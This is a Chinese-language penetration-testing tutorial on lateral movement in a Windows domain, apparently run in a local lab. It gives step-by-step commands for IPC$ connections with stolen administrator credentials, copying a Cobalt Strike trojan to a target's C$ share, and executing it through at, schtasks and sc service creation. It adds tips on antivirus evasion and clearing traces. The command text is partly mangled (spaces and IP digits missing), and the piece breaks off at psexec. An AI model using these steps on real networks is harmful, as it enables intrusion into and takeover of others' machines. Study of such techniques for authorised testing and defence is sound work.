内网渗透横向移动总结

前言

通常我们在渗透过程中从外围打点进入内网后拿到主机提升到system权限,这一台主机就已经拿下。但是我们进入内网的目标还是拿下尽可能多的主机,这时候选择横向移动的方法就尤为重要。今天就对一些常用的横向手法进行一个总结,有不足之处欢迎师傅们进行斧正。

本次实验均在本地搭建靶场进行,靶场拓扑图如下:

利用windows远程连接命令ipc连接

IPC$(InternetProcessConnection)是为了让进程之间通信的一种“管道”,通过提供用户名密码建立了一条安全的、加密的、用于数据交换的通道。当然,还是在同一个时间,还是同样的两个IP,他们之间只能建立一个IPC$连接,脚踏多条船无论什么时候都是不可取的。通过这个连接,可以实现在被连接的目标机器上搞文件上传、下载、命令执行……

关于IPC$+计划任务的横向,我们的目的非常明确:

(1)首先建立向目标主机的IPC$连接

(2)其次把命令执行的脚本传到目标主机

(3)再次创建计划任务在目标机器上执行命令脚本

(4)最后过河拆桥删除IPC$连接

当然想要用IPC$来横向是有条件的:

(1)目标机器没有禁用IPC$连接,没有什么防火防盗拦截IPC$,端口也开了(能走走,不能则走)

(2)目标机器小管理员开了IPC$默认共享服务(逻辑盘、系统目录;都不开我访问个啥?)

(3)获取了目标机器的小管理员的管理员权限的账号密码(最好是域管理员账号密码),明文的

(4)目标系统能支持IPC$,且和攻击机能彼此互通(废话)

本地命令可以copy,用CSbeacon的可以upload,总之把自己写的或者是工具生成的木马搞到目标机器上

接下来创建windows计划任务,自动执行木马反弹连接到攻击机器

值得注意的是,如何自动执行木马,在windows中常用的就是计划任务at和schtasks,计划任务在后文中会提到

netuse\\IP\ipc$password/user:usernamenetuse//查看当前主机所建立的连接

这里提一个点,在多次渗透内网的过程中碰到了一个问题,那么就是这个命令输入的时候到底需不需要加上引号,我的建议是最好加上引号,另外就是如果是在CobaltStrike里面执行ipc命令进行连接的时候,密码中如果有一些特殊的字符,需要进行转义,否则可能会导致ipc连接不成功。

这样我们就已经跟DC建立了IPC连接,这里尝试使用一个dir命令列出DC目录进行查看

dir\\..52.\c$

ipc连接还有一个常用的命令就是进行本地映射,如果在命令行里面查看目录觉得很麻烦的话可以使用如下命令将已经建立IPC连接的主机的任意盘符映射到自己的本地。例如这里我将DC的c盘映射到我本地的z盘。

netusez:\\ip\c$password/user:Administrator//把目标C盘映射到本地z盘(未建立ipc连接的情况下)netusez:\\ip\c$//把目标C盘映射到本地z盘(已建立ipc连接的情况下)

当然在最后我们渗透完成后需要清理痕迹,这里就会用到一条删除ipc连接的命令

netuse\\ip\ipc$at命令

at命令是Windows自带的用于创建计划任务的命令,但是at命令只在及以下的版本使用。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。

at计划命令在实战中主要有两个用处:一是在获取webshell后不能够执行系统命令的情况下可以用at命令将命令执行后写入txt再用type读取,二是利用at计划任务命令上线cs或者msf

首先介绍第一个用处,这是我之前在实战的过程中拿到了一个oa系统的shell,但是这里在webshell处不能够执行命令,这时候就可以调用at命令调用cmd执行系统命令

使用at命令调用cmd.exe执行命令写入result.txt

at\\..52.:40:00cmd.exe/c"命令c:\result.txt"

用type命令进行读取

type\\..52.\c$\result.txt

这里在演示第二个at命令的用处,利用at计划任务上线cs或msf,这里我使用的是cs生成的exe

1.首先与主机建立ipc连接

2.确定主机时间

nettime\\ip

3.使用cs生成木马利用copy命令拷贝到主机上

copy木马在本机位置\\靶机ip\c$

注意在实战过程中exe需要作免杀处理,否则如果对面主机有杀软还没有落地就已经被查杀了

4.使用at命令创建计划任务

at\\靶机ip启动时间木马在靶机的位置

注意这里理论上cs就已经上线了,但是因为这里我是在本地启动cs生成的一个exe,这台机器处于域环境里面且不出网,所以不能够跟我物理机进行通信,所以这里就没有截图上线成功的图。

5.删除计划任务

这里的1为创建计划任务时候的ID

at\\..52.1/deleteschtasks命令

在及以后的系统中已经将at命令废弃,改用schtasks命令代替了at命令,原因是因为schtasks命令比at命令使用起来更加灵活。

这里使用schtasks命令计划任务上线的思想跟at命令大同小异

1.与主机建立ipc连接

2.使用copy命令将exe复制到靶机里

copyC:\Users\liukaifeng01\Desktop\artifact.exe\\..52.\c$

3.查看靶机时间

nettime\\..52.

4.使用schtasks创建名为cs的计划任务

schtasks/create/TNcs/TRC:\artifact.exe/SConce/ST17:32

可以用如下schtasks命令查看创建的计划任务

schtasks/query/TNcs

这里同at命令一样,在域环境里面就没有截图cs上线的图。

5.删除计划任务

schtasks/delete/tn"cs"

在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SCHEDLGU.txt如果执行schtasks命令后没有回显,可配合ipc$执行文件,使用type命令远程查看执行结果

利用windows服务

利用windows服务进行横向渗透主要是通过sc命令,但是注意这里跟之前windows远程命令相比多了一个条件,即当前主机需要为administrator权限。

sc命令

sc命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。

利用sc命令进行横向渗透的大体流程如下:

1.与靶机建立ipc连接

2.拷贝exe到主机系统上

3.在靶机上创建一个shell的服务

sc\\WIN-MNN6NU8Bcreateshellbinpath="c:\artifact.exe"

这里需要用cmdshell运行,否则会报错

4.启动shell服务

sc\\WIN-MNN6NU8Bstartshell

5.删除创建的shell服务

sc\\[host]delete[servicename]利用psexec利用psexec.exe工具

下载


转载请注明:http://www.shhjfk.com/zytd/zytd/13593.html

  • 上一篇文章:
  •   
  • 下一篇文章: 没有了